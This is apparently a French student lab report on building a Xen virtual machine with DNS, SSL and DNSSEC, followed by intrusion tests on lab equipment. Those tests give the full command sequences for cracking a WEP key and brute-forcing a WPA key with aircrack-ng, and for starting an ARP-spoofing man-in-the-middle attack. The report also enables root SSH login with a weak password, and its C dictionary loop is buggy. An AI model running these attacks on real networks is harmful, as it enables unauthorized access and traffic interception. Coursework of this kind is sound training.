  xen-create-image --hostname=hawker --ip=193.48.57.171 --gateway=193.48.57.163 --dir=/usr/local/xen –dist=beowulf&lt;br /&gt;
&lt;br /&gt;
J’ai aussi utilisé une seconde méthode qui fonctionne mieux en gardant le nom de ma machine hawker&lt;br /&gt;
&lt;br /&gt;
	Le miroir Debian est celui de l’école : http://fr.deb.devuan.org/merged/&lt;br /&gt;
&lt;br /&gt;
	La distribution stable courant :  http://proxy.polytech-lille.fr:3128&lt;br /&gt;
&lt;br /&gt;
  xen-create-image --hostname=hawker --dhcp --dir=/usr/local/xen --dist=ascii --apt_proxy=http://proxy.polytech-lille.fr:3128 --mirror=http://fr.deb.devuan.org/merged/ --force&lt;br /&gt;
&lt;br /&gt;
En lançant un second terminal, je peux suivre le processus d’installation&lt;br /&gt;
  tail -f /var/log/xen-tools/hawker.log&lt;br /&gt;
&lt;br /&gt;
Lorsque l’installation est terminée, j'obtiens plusieurs informations dont le mot de passe du routeur.&lt;br /&gt;
&lt;br /&gt;
     Installation Summary&lt;br /&gt;
     ---------------------&lt;br /&gt;
     Hostname        :  hawker&lt;br /&gt;
     Distribution    :  ascii&lt;br /&gt;
     MAC Address     :  00:16:3E:A4:65:07&lt;br /&gt;
     IP Address(es)  :  dynamic&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (DSA)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (ECDSA)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (ED25519)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (RSA)&lt;br /&gt;
     Root Password   :  xxxxxxxxxxxxxxxxxxxxxxxx&lt;br /&gt;
&lt;br /&gt;
Via la commande passwd, j'ai changé le mot de passe par &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
=== Configuration de la VM ===&lt;br /&gt;
&lt;br /&gt;
Pour commencer, je dois modifier le fichier de configuration de la VM pour donner accès au bridge réseau.&lt;br /&gt;
Je récupère le nom du bridge &amp;quot;IMA2a5&amp;quot;&lt;br /&gt;
  brctl show &lt;br /&gt;
    bridge name        bridge id             STP enabled     interfaces&lt;br /&gt;
    '''IMA2a5             8000.34800d508a83     no              ether1'''&lt;br /&gt;
    IMA5sc             8000.34800d508a82     no              ether0&lt;br /&gt;
    L3MRIT             8000.b026289b2c9a     no              ether2&lt;br /&gt;
    Trunk              8000.4cd98fa49258     no              ether4&lt;br /&gt;
    bridgeGIS          8000.4cd98fa49258     no              vlan502&lt;br /&gt;
&lt;br /&gt;
J'accède au fichier de configuration de ma VM /etc/xen/hawker.cfg&lt;br /&gt;
J'ajoute mon adresse MAC donnée précédemment et le bridge IMA2a5. &lt;br /&gt;
&lt;br /&gt;
 kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
 extra       = 'elevator=noop'&lt;br /&gt;
 ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
 &lt;br /&gt;
 vcpus       = '1'&lt;br /&gt;
 memory      = '1024'&lt;br /&gt;
 &lt;br /&gt;
 root        = '/dev/xvda2 ro'&lt;br /&gt;
 disk        = [&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',&lt;br /&gt;
               ]&lt;br /&gt;
 &lt;br /&gt;
 name        = 'hawker'&lt;br /&gt;
 &lt;br /&gt;
 '''vif         = [ 'mac=00:16:3E:A4:65:07, bridge=IMA2a5' ]'''&lt;br /&gt;
 &lt;br /&gt;
 on_poweroff = 'destroy'&lt;br /&gt;
 on_reboot   = 'restart'&lt;br /&gt;
 on_crash    = 'restart'&lt;br /&gt;
&lt;br /&gt;
J'accède à ma machine virtuelle&lt;br /&gt;
  xl create /etc/xen/hawker.cfg&lt;br /&gt;
  xl console hawker&lt;br /&gt;
&lt;br /&gt;
Je crée deux répertoires var et home qui seront sur des partitions LVM de l'hôte&lt;br /&gt;
  lvcreate -L10G -n hawker-var virtual&lt;br /&gt;
  lvcreate -L10G -n hawker-home virtual&lt;br /&gt;
&lt;br /&gt;
Je pointe le système de fichier sur les deux nouvelles partitions &lt;br /&gt;
  mke2fs /dev/virtual/hawker-home&lt;br /&gt;
  mke2fs /dev/virtual/hawker-var&lt;br /&gt;
&lt;br /&gt;
Les disques sont finalisés, je les connecte à la VM en modifiant le fichier de configuration hawker.cfg.&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',&lt;br /&gt;
                   ''''phy:/dev/virtual/hawker-home,xvdb1,w','''&lt;br /&gt;
                   ''''phy:/dev/virtual/hawker-var,xvdb2,w','''&lt;br /&gt;
               ]&lt;br /&gt;
&lt;br /&gt;
Puis je redémarre la VM pour prendre en compte les modifications&lt;br /&gt;
  xl shutdown hawker&lt;br /&gt;
  xl create /etc/xen/hawker.cfg&lt;br /&gt;
&lt;br /&gt;
A travers le fichier /etc/fstab, je dois modifier la configuration pour forcer le montage à chaque démarrage. &lt;br /&gt;
  /dev/xvdb1     /home ext4  defaults   0   2     //0 sauvegarde et 2 place&lt;br /&gt;
  #/dev/xvdb2    /var  ext4  defaults   0   2&lt;br /&gt;
A travers c’est deux commandes, j’assure la montée des 2 disques /home et /var à chaque démarrage. Juste avant cette étape pour /var, que je laisse en commentaire, j’ai du assurer le systèmes de fichiers. Il faut bien faire attention, une mauvaise manipulation peut détruire la machine.&lt;br /&gt;
  mkfs -t ext4 /dev/xvdb2&lt;br /&gt;
  mount /dev/xvdb2 /mnt&lt;br /&gt;
  mv /var/* /mnt&lt;br /&gt;
  blkid       //Trouver ou afficher les attributs de périphérique bloc&lt;br /&gt;
    /dev/xvda2: UUID=&amp;quot;efa11821-8780-4938-9473-5d217752316e&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
    /dev/xvda1: UUID=&amp;quot;1a3161b3-a90d-4da5-a224-cfc496e70c89&amp;quot; TYPE=&amp;quot;swap&amp;quot;&lt;br /&gt;
    /dev/xvdb1: UUID=&amp;quot;5645526d-2cf4-42b5-a4a7-94fdda100ca1&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
    /dev/xvdb2: UUID=&amp;quot;5b49ce5f-8116-4c41-aa25-97536f644803&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
  vi /etc/fstab&lt;br /&gt;
Par la suite, je peux décommenter la ligne et exécuter :&lt;br /&gt;
  umount /mnt    &lt;br /&gt;
  mount -a&lt;br /&gt;
Je vérifie que les disques sont bien montés via la commande db &lt;br /&gt;
  Filesystem     1K-blocks     Used   Available   Use%   Mounted on&lt;br /&gt;
  udev              483904        0      483904     0%   /dev&lt;br /&gt;
  tmpfs             100712      120      100592     1%   /run&lt;br /&gt;
  /dev/xvda2       4062912   791352     3045464    21%   /&lt;br /&gt;
  tmpfs               5120        0        5120     0%   /run/lock&lt;br /&gt;
  tmpfs             306280        0      306280     0%   /dev/shm&lt;br /&gt;
  '''/dev/xvdb1      10255636    36872     9678092     1%   /home'''&lt;br /&gt;
  '''/dev/xvdb2      10255636   315536     9399428     4%   /var'''&lt;br /&gt;
&lt;br /&gt;
On peut vérifier que la VM est prête&lt;br /&gt;
  xl list&lt;br /&gt;
    Name          ID    Mem   VCPUs    State	Time(s)&lt;br /&gt;
    Domain-0      0    4046     4      r-----    6978.3&lt;br /&gt;
    boeing        1     256     1      -b----     185.5&lt;br /&gt;
    NightHawk     3    1024     1      -b----     826.8&lt;br /&gt;
    '''hawker        4    1024     1      -b----     776.9'''&lt;br /&gt;
    blackbird     5     256     1      -b----     640.4&lt;br /&gt;
    Falcon        6     256     1      -b----     691.7&lt;br /&gt;
    rafale        8     256     1      -b----     606.0&lt;br /&gt;
    mirage        12   1024     1      -b----     668.6&lt;br /&gt;
    alpha-jet     13    256     1      -b----     591.4&lt;br /&gt;
    concorde      19   1024     1      -b----     148.5&lt;br /&gt;
    oronge        20    256     1      -b----     536.2&lt;br /&gt;
On peut voir que l’état du domaine est r, cela stipule qu’il fonctionne. &lt;br /&gt;
Les VM ont un état -b, ce qui valide le fait qu’elles fonctionnent toutes. Au delà des IMA2A5, on voit aussi une des IMA5sc.&lt;br /&gt;
&lt;br /&gt;
== Services Internet ==&lt;br /&gt;
&lt;br /&gt;
=== Configuration du réseau ===&lt;br /&gt;
&lt;br /&gt;
Dès que ma machine virtuelle est prête, je passe en root dessus. Pour permettre l'accès à internet, je configure le réseau /etc/networks/interfaces&lt;br /&gt;
   auto eth0&lt;br /&gt;
   iface eth0 inet static&lt;br /&gt;
     address 193.48.57.171 &lt;br /&gt;
     netmask 255.255.255.240&lt;br /&gt;
     gateway 193.48.57.163&lt;br /&gt;
&lt;br /&gt;
Je configure alors les interfaces réseau grâce aux définitions du fichier au dessus&lt;br /&gt;
   ifdown eth0&lt;br /&gt;
   ifup eth0&lt;br /&gt;
&lt;br /&gt;
Je vérifie que le processus s'est bien déroulé&lt;br /&gt;
   ip r&lt;br /&gt;
     default via 193.48.57.163 dev eth0 onlink &lt;br /&gt;
     193.48.57.160/28 dev eth0 proto kernel scope link src 193.48.57.171 &lt;br /&gt;
  ping 193.48.57.162 (Adresse IP 3560E)&lt;br /&gt;
&lt;br /&gt;
=== Serveur SSH ===&lt;br /&gt;
Je fais en sorte que ma MV soit accessible à distance, je configure un serveur ssh. Je modifie alors le fichier de configuration /etc/ssh/ssh_config en modifiant cette ligne :&lt;br /&gt;
  vi /etc/ssh/sshd_config&lt;br /&gt;
     PermitRootLogin yes // Permet l'accès direct en root&lt;br /&gt;
  service ssh restart&lt;br /&gt;
Je n'ai alors plus besoin de passer par la commande xl console pour accéder à ma VM, j'utilise directement le ssh.&lt;br /&gt;
  ssh root@193.48.57.171&lt;br /&gt;
&lt;br /&gt;
=== Serveur DNS ===&lt;br /&gt;
&lt;br /&gt;
Le DNS (Domain Name System) permet d'établir la correspondance entre le nom de domaine d'un site et l'adresse IP où il est hébergé sur le réseau internet. Pour accéder à mon site, je n’aurais plus besoin d’indiquer mon adresse IP mais le nom du site choisi.&lt;br /&gt;
&lt;br /&gt;
Il faut que je configure mon domaine sur gandi.net et en étant root sur ma machine virtuelle hawker.&lt;br /&gt;
&lt;br /&gt;
Je commence donc par acheter un nom de domaine sur le site gandi.net : lulya.space. Je passe par « glue records » utilisé pour associer un hostname (nom de serveur ou DNS) à une adresse IP au registre. &lt;br /&gt;
    ns.lulya.space&lt;br /&gt;
    193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Les serveurs de noms permettent d'accéder à un réseau ou du contenu sur internet depuis un nom de domaine.&lt;br /&gt;
    ns.lulya.space      1&lt;br /&gt;
    ns6.gandi.net       2&lt;br /&gt;
Pour le prise en compte ces modifications, on attend de 12 à 24h. &lt;br /&gt;
&lt;br /&gt;
Pour gérer mon serveur DNS, j’utilise la commande bind9 et passe par une configuration en ajoutant et modifiant plusieurs fichiers dans etc/bind.&lt;br /&gt;
Le fichier named.conf.options qui gère les options de configuration du DNS : &lt;br /&gt;
   options {&lt;br /&gt;
        directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
        dnssec-validation auto;&lt;br /&gt;
        listen-on-v6 { any; };&lt;br /&gt;
        allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
   };&lt;br /&gt;
   acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
        217.70.177.40/32; //Adresse IP de dns6.gandi.net&lt;br /&gt;
   };&lt;br /&gt;
&lt;br /&gt;
Puis le fichier named.conf.local pour déclarer les zones associées au domaine:&lt;br /&gt;
   zone &amp;quot;lulya.space&amp;quot; {&lt;br /&gt;
      type master;&lt;br /&gt;
      file &amp;quot;/etc/bind/db.lulya.space&amp;quot;;&lt;br /&gt;
    };&lt;br /&gt;
&lt;br /&gt;
Enfin, le fichier de configuration /etc/bind/db.lulya.space :&lt;br /&gt;
   $TTL 3600&lt;br /&gt;
   @ IN SOA ns.lulya.space. postmaster.lulya.space. (&lt;br /&gt;
         1               ; Version&lt;br /&gt;
         1800             ; Refresh (30m)&lt;br /&gt;
         600             ; Retry   (10m)&lt;br /&gt;
         3600             ; Expire (1h)&lt;br /&gt;
         3600 )           ; Minimum TTL (1h)&lt;br /&gt;
   @ IN NS ns.lulya.space.&lt;br /&gt;
   @ IN NS ns6.gandi.net.&lt;br /&gt;
   ns      IN A       192.48.57.171&lt;br /&gt;
&lt;br /&gt;
J’attends quelques minutes puis relance bind9. Mon site http://www.lulya.space est accessible, je peux alors le visualiser en tapant l’adresse sur internet.&lt;br /&gt;
&lt;br /&gt;
Lorsque le DNS est fini d’être configuré, je peux le tester en lançant ping -6 google.fr, je peux voir que cela fonctionne, je considère mon DNS bien configuré.&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation de site web par certificat ===&lt;br /&gt;
&lt;br /&gt;
Je dois passer par une méthode de vérification sur le serveur Web cible. Il existe, je crois, 3 méthodes, j'ai choisi par mail.&lt;br /&gt;
&lt;br /&gt;
Je modifie mon fichier db.lulya.space&lt;br /&gt;
  Version : 2&lt;br /&gt;
  IN MX 100 ns&lt;br /&gt;
  www  IN A  193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Je relance le service bind9 et installe le serveur de messagerie PostFix. En lançant la commande mailx, je peux alors vérifier que j'ai bien reçu un mail et l'achat du certificat se finalise. &lt;br /&gt;
&lt;br /&gt;
Gandi fournit une clé hawker.pem et un certificat hawker.crt, je génère une clé : lulya.csr en utilisant l'utilitaire OpenSSL dans le dossier /etc/apache2/certificat&lt;br /&gt;
  openssl req -nodes -newkey rsa:2048 -sha256 -keyout lulya.key -out lulya.csr&lt;br /&gt;
&lt;br /&gt;
J'achète un certificat sur Gandi en passant par la rubrique Cerificat SSL. Je partage ma clé.csr avec Gandi, il étudie la validité de mon domaine lulya.space, puis choisi ou non de le certifier. &lt;br /&gt;
&lt;br /&gt;
En recontrant un problème, j'ai utilisé une commande servant d'outil de dépannage&lt;br /&gt;
  apt install strace&lt;br /&gt;
  strace -f -o open newaliases&lt;br /&gt;
  strace -f  newaliases&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation de serveur DNS par DNSSEC ===&lt;br /&gt;
&lt;br /&gt;
Au delà de mon site sécurisé, je veux avoir toute la chaine de transmission, ce qui évitera la fraude. Je sécurise mon serveur DNS en signant la zone correspondant à mon nom de domaine.&lt;br /&gt;
Je débute par l'ajout de l'option dnssec-enable yes dans named.conf.options.&lt;br /&gt;
&lt;br /&gt;
Ensuite, je crée un répertoire lulya.space.dnssec pour y générer des paires de cléfs.&lt;br /&gt;
La clé asymétrique de signature de clefs de zone&lt;br /&gt;
  dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE lulya.space&lt;br /&gt;
La clé asymétrique de zone pour les enregistrements&lt;br /&gt;
  dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE lulya.space&lt;br /&gt;
&lt;br /&gt;
Je renomme les deux paires de clés obtenues en utilisant le nom de la zone comme préfixe et en suffixe : &lt;br /&gt;
&lt;br /&gt;
- la destination de la clef : ksk pour la clef KSK et zks pour la clef ZSK &lt;br /&gt;
&lt;br /&gt;
- puis par le type de clef : .key pour la clef publique ou .private pour la clef privée&lt;br /&gt;
  mv Klulya.space.+005+11461.key              lulya.space-ksk.key&lt;br /&gt;
  mv Klulya.space.+005+11461.private      lulya.space-ksk.private&lt;br /&gt;
  mv Klulya.space.+005+27882.key              lulya.space-zsk.key&lt;br /&gt;
  mv Klulya.space.+005+27882.private      lulya.space-zsk.private&lt;br /&gt;
Pour finir, je les place dans un dossier crée /etc/bind/lulya.space.dnssec&lt;br /&gt;
&lt;br /&gt;
Ensuite, j'inclue les clefs publiques dans mon fichier db.lulya.space&lt;br /&gt;
  $include /etc/bind/lulya.space.dnssec/lulya.space-ksk.key&lt;br /&gt;
  $include /etc/bind/lulya.space.dnssec/lulya.space-zsk.key&lt;br /&gt;
&lt;br /&gt;
Je signe les enregistrements&lt;br /&gt;
  dnssec-signzone -o lulya.space -k lulya.space-ksk  ../db.lulya.space lulya.space-zsk&lt;br /&gt;
&lt;br /&gt;
Je modifie le fichier named.conf.local pour utiliser db.lulya.space.signed&lt;br /&gt;
  zone &amp;quot;lulya.space&amp;quot; {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/db.lulya.space.signed&amp;quot;;&lt;br /&gt;
  };&lt;br /&gt;
&lt;br /&gt;
Après avoir finalisé tous les paramètres de mon site www.lulya.space, je vérifie sa configuration sur le site dnsvize.net&lt;br /&gt;
On peut voir que tout est bien en place de mon côté. Par contre, il existe un défaut du côté du .space détenu par mon nom de domaine.&lt;br /&gt;
&lt;br /&gt;
      [[Fichier:DNS Léna.png|800px|thumb|left|Interface eth0]]&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Tests d'intrusion ==&lt;br /&gt;
&lt;br /&gt;
=== Cassage de clef WEP d’un point d’accès WiFi ===&lt;br /&gt;
&lt;br /&gt;
On branche d’abord une clef wifi et je commence à installer le paquetage aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
Je dois trouver le point d’accès : canal et nom des réseaux.&lt;br /&gt;
&lt;br /&gt;
Via airmon-ng, un script permettant d’activer ou de désactiver le mode moniteur d’une carte réseau. &lt;br /&gt;
&lt;br /&gt;
Dans notre cas, la carte Wi-fi se place en observateur du réseau.&lt;br /&gt;
&lt;br /&gt;
Je liste les interfaces disponibles :&lt;br /&gt;
  root@zabeth09:~# airmon-ng&lt;br /&gt;
    PHY	  Interface	  Driver	Chipset&lt;br /&gt;
    phy0  wlx40a5efd2140c rt2800usb	Ralink Technology, Corp. RT5370&lt;br /&gt;
&lt;br /&gt;
Puis, je passe la carte Wifi wlx40a5efd2140c en mode moniteur, espion du réseau sans fil.&lt;br /&gt;
&lt;br /&gt;
  root@zabeth09:~# airmon-ng start wlx40a5efd2140c&lt;br /&gt;
  Interface wlx40a5efd2140cmon is too long for linux so it will be renamed to the old style (wlan#) name.&lt;br /&gt;
        (mac80211 monitor mode vif enabled on [phy0]wlan0mon&lt;br /&gt;
        (mac80211 station mode vif disabled for [phy0]wlx40a5efd2140c)&lt;br /&gt;
&lt;br /&gt;
Le nom de l'interface a été modifié, considéré trop long et wlan0mon a été choisi.&lt;br /&gt;
&lt;br /&gt;
En relançant airmon-ng, on peut voir que le nom de l’interface a bien été changé&lt;br /&gt;
  root@zabeth09:~# airmon-ng&lt;br /&gt;
    PHY	  Interface	Driver		Chipset&lt;br /&gt;
    phy0    wlan0mon	rt2800usb	Ralink Technology, Corp. RT5370&lt;br /&gt;
&lt;br /&gt;
Je scanne le réseau Wifi, j’obtiens toutes les trames Wifi sur tous les canaux &lt;br /&gt;
  root@zabeth09:~# airmon-ng –encrypt wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
Le terminal essaye d'obtenir tous les channels et beaucoup d'informations s'affichent. &lt;br /&gt;
&lt;br /&gt;
Je visualise cracotte07 dans la liste pour ses informations.&lt;br /&gt;
  root@zabeth09:~# airodump-ng --channel 9 --bssid 04:DA:D2:9C:50:56 wlan0mon&lt;br /&gt;
Tous les cracotte sont limitées au channel 9 et le SSID de cracotte07 est 04:DA:D2:9C:50:56&lt;br /&gt;
&lt;br /&gt;
Je récupère toutes les données qui transitent sur ce channel en me concentrant uniquement sur les paquets échangés avec cracotte07.&lt;br /&gt;
  airodump-ng -w lcrack -c 9 --bssid 04:DA:D2:9C:50:56 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après avoir suffisamment de trames volées, je lance un autre terminal pour décrypter la clé WEP&lt;br /&gt;
  root@zabeth09:~# aircrack-ng lcrack-01.cap&lt;br /&gt;
  Opening lcrack-01.capse wait…&lt;br /&gt;
&lt;br /&gt;
Il faut attendre plusieurs minutes et on obtient la clé, on peut voir qu’il en a testé 833 avant.&lt;br /&gt;
&lt;br /&gt;
                              Aircrack-ng 1.5.2 &lt;br /&gt;
                 [00:00:00] Tested 833 keys (got 73079 IVs)&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/ 17   F1(93696) BD(84480) E7(84224) 6F(83456) 12(82176) &lt;br /&gt;
    1    0/  1   91(103680) 34(83968) 54(83456) B3(83456) B9(82432) &lt;br /&gt;
    2    2/  2   60(83200) 3A(82688) 7E(82176) 12(81920) 0E(81664) &lt;br /&gt;
    3   15/  3   B1(79872) 06(79616) 11(79616) 5B(79360) B2(79104) &lt;br /&gt;
    4    0/  1   74(103168) 8D(85248) 03(82176) 7A(82176) 21(81664) &lt;br /&gt;
             KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:09:99:99:99 ] &lt;br /&gt;
    Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
=== Cassage de mot de passe WPA-PSK par force brute === &lt;br /&gt;
En utilisant la même méthode, on peut craquer une autre clef WPA.&lt;br /&gt;
  root@zabeth09:~# airodump-ng -w lkrack -c 4 --bssid 00:14:1B:60:8C:26 wlan0mon&lt;br /&gt;
    -rw-r--r-- 1 root root  88K Nov  4 17:11 lkrack-03.cap&lt;br /&gt;
&lt;br /&gt;
Le craquage doit se faire avec l’aide d’un dictionnaire. On suppose que la clef WPA est un nombre sur 8 chiffres, je vais donc créer un dictionnaire de ce format via un code en langage c.&lt;br /&gt;
&lt;br /&gt;
  int main(void){&lt;br /&gt;
        int x;&lt;br /&gt;
        for(x=0; x=99999999; x++){&lt;br /&gt;
            printf(&amp;quot;%08d\n&amp;quot;,x);&lt;br /&gt;
        }&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Je compile main.c, ça consiste en une série d'étapes de transformation du code source en du code machine exécutable. La série de nombres doit se retrouver alors dans mon fichier cible dico. &lt;br /&gt;
  root@zabeth09:~# gcc -Wall -o dico main.c&lt;br /&gt;
&lt;br /&gt;
Je vérifie que cette commande s'est bien déroulée, en vérifiant le début et la fin du fichier dico.&lt;br /&gt;
  root@zabeth09:~# ./dico | more&lt;br /&gt;
    00000000&lt;br /&gt;
    00000001&lt;br /&gt;
    00000002&lt;br /&gt;
    00000003&lt;br /&gt;
    00000004&lt;br /&gt;
  root@zabeth09:~# ./dico | tail&lt;br /&gt;
    99999995&lt;br /&gt;
    99999996&lt;br /&gt;
    99999997&lt;br /&gt;
    99999998&lt;br /&gt;
    99999999&lt;br /&gt;
&lt;br /&gt;
Je finis par les transférer dans un fichier .txt et l'envoie à d'autres PC&lt;br /&gt;
  root@zabeth09:~# ./dico &amp;gt; dico.txt&lt;br /&gt;
  root@zabeth09:~# scp dico.txt zabethxx&lt;br /&gt;
&lt;br /&gt;
Je choisis de lancer le traitement sur 2 PC plus puissant, normalement 5 fois plus, zabeth22 et zabeth26, que mon PC zabeth09. &lt;br /&gt;
Je commence à exécuter le traitement sur le fichier que je viens de créer dico.txt comportant tous les nombres de 0 à 9999 9999.&lt;br /&gt;
  root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/&lt;br /&gt;
  root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/lkrack-03.cap  &amp;gt; /tmp/result&lt;br /&gt;
&lt;br /&gt;
En remarquant le temps que cela va prendre, je décide de couper ce fichier en 2 et de lancer un autre traitement mais seulement sur les nombres à partir de 4999 9999. L'exécution est censée prendre 2 fois moins de temps que celle sur zabeth22.&lt;br /&gt;
  root@zabeth09:~# split -n 2 dico.txt&lt;br /&gt;
J’obtiens alors 2 fichiers xaa et xab, comportant les 2 moitiés de dico&lt;br /&gt;
  root@zabeth09:~# ls -lhrt &lt;br /&gt;
  -rw-r--r-- 1 root root  101 Nov  4 17:09 main.c&lt;br /&gt;
  -rwxr-xr-x 1 root root  17K Nov  4 17:09 dico&lt;br /&gt;
  -rw-r--r-- 1 root root 430M Nov  4 17:15 xaa&lt;br /&gt;
  -rw-r--r-- 1 root root 430M Nov  4 17:15 xab&lt;br /&gt;
En tapant la commande tail, je vérifie que celui que je veux est bien xab&lt;br /&gt;
&lt;br /&gt;
Puis je passe sur zabeth26 et je passe au même procédé que sur zabeth22&lt;br /&gt;
  root@zabeth26:~# aircrack-ng -w /tmp/xab /tmp/lkrack-03.cap  &amp;gt; /tmp/result&lt;br /&gt;
&lt;br /&gt;
Pour finir, je fais en sorte de voir en direct les deux calculs de correction de clé (défilement des nombres)&lt;br /&gt;
  root@zabeth22:~# cat /tmp/result &lt;br /&gt;
    Aircrack-ng 1.5.2 &lt;br /&gt;
      [00:09:13] 10260165/102795810 keys tested (3427.05 k/s) &lt;br /&gt;
      Time left: 7 hours, 30 minutes, 1 second      9.98%&lt;br /&gt;
                           KEY FOUND! [ 10255555 ]&lt;br /&gt;
&lt;br /&gt;
La clé se trouvait dans les 1er 10 % de dico. On peut voir qu'on obtient 8 chiffres, un seul correspond à la clé.&lt;br /&gt;
On peut lire le temps qu’il lui restait pour tout analyser, ça confirme que c’était une bonne idée de lancer le second traitement.&lt;br /&gt;
Il est logique que celui-ci nous donne aucune clé en réponse.&lt;br /&gt;
&lt;br /&gt;
  root@zabeth26:~# cat /tmp/result &lt;br /&gt;
   [00:46:05] 50000000/51397904 keys tested (3498.19 k/s) &lt;br /&gt;
      Time left: 0 seconds              97.28%&lt;br /&gt;
                          KEY NOT FOUND&lt;br /&gt;
Anecdote, le traitement est considéré terminé au vu du temps qu'il ne reste pas, mais il est tout de même écrit 97.28% d'analyse effectuée. Il existe souvent des petites erreurs de suivis des ordinateurs, mais non critiques.&lt;br /&gt;
&lt;br /&gt;
=== Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP ===&lt;br /&gt;
&lt;br /&gt;
J'ai besoin du paquetage dsniff qui contient plusieurs outils pour écouter ou créer du trafic réseau :&lt;br /&gt;
&lt;br /&gt;
- arpspoof : envoie des réponses ARP non requises et potentiellement falsifiées&lt;br /&gt;
&lt;br /&gt;
- dnsspoof : crée des réponses à des requêtes d'adresse ou de pointeur DNS arbitraires sur le réseau local&lt;br /&gt;
&lt;br /&gt;
- dsniff : écoute de mots de passe pour différents protocoles&lt;br /&gt;
&lt;br /&gt;
Je vérifie d’abord que dorade est bien configuré au niveau du réseau.&lt;br /&gt;
  root@dorade:/home/pifou# cat /etc/network/interfaces&lt;br /&gt;
    # This is an autoconfigured IPv6 interface&lt;br /&gt;
    iface eth0 inet static&lt;br /&gt;
        address 172.26.145.101&lt;br /&gt;
        netmask 255.255.255.0&lt;br /&gt;
        gateway 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Je récupère son interface ethernet, la commande liste toutes les interfaces avec les informations nécessaires&lt;br /&gt;
  root@dorade:/home/pifou# ip a&lt;br /&gt;
    1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1&lt;br /&gt;
    2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
&lt;br /&gt;
Une commande permet de voir la table de routage.&lt;br /&gt;
  root@dorade:/home/pifou# ip r&lt;br /&gt;
    default via 172.26.145.254 dev eth0 onlink &lt;br /&gt;
    169.254.0.0/16 dev eth0 scope link metric 1000 &lt;br /&gt;
    172.26.145.0/24 dev eth0 proto kernel scope link src 172.26.145.101 &lt;br /&gt;
&lt;br /&gt;
Je vérifie qu’il est bien relié au réseau en pingant zabeth09.&lt;br /&gt;
  root@dorade:/home/pifou# ping zabeth09&lt;br /&gt;
    PING zabeth09(2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9)) 56 data bytes&lt;br /&gt;
    64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=1 ttl=64 time=0.914 ms&lt;br /&gt;
    64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=2 ttl=64 time=0.813 ms&lt;br /&gt;
    --- zabeth09 ping statistics ---&lt;br /&gt;
    2 packets transmitted, 2 received, 0% packet loss, time 1001ms&lt;br /&gt;
    rtt min/avg/max/mdev = 0.813/0.863/0.914/0.058 ms&lt;br /&gt;
&lt;br /&gt;
En vérifiant toutes ces informations, je valide le fait qu’il est bien configuré au réseau et peut communiquer avec tous les équipements dont zabeth09.&lt;br /&gt;
&lt;br /&gt;
Je transforme dorade en routeur, ce mode est géré par la variable noyau /proc/sys/net/ipv4/ip_forward.&lt;br /&gt;
&lt;br /&gt;
- La commande retourne la valeur 0 : l'IP Forwarding n'est pas activé.&lt;br /&gt;
&lt;br /&gt;
- La commande retourne la valeur 1 : l'IP Forwarding est activé.&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward      0 &lt;br /&gt;
Dorade n’est pas en mode routeur, je passe alors le noyau à 1&lt;br /&gt;
  root@dorade:/home/pifou# echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward &lt;br /&gt;
&lt;br /&gt;
J'utilise la commande arpsppof, en prenant les informations collectées au début.&lt;br /&gt;
Dorade via eth0, son interface ethernet, envoie des réponses ARP non requises à zabeth09 en passant par le gateway, qui examine la légitimité de sa demande qui en réalité ne l'est pas.&lt;br /&gt;
  root@dorade:/home/pifou# arpspoof -i eth0 -t zabeth09 172.26.145.254&lt;br /&gt;
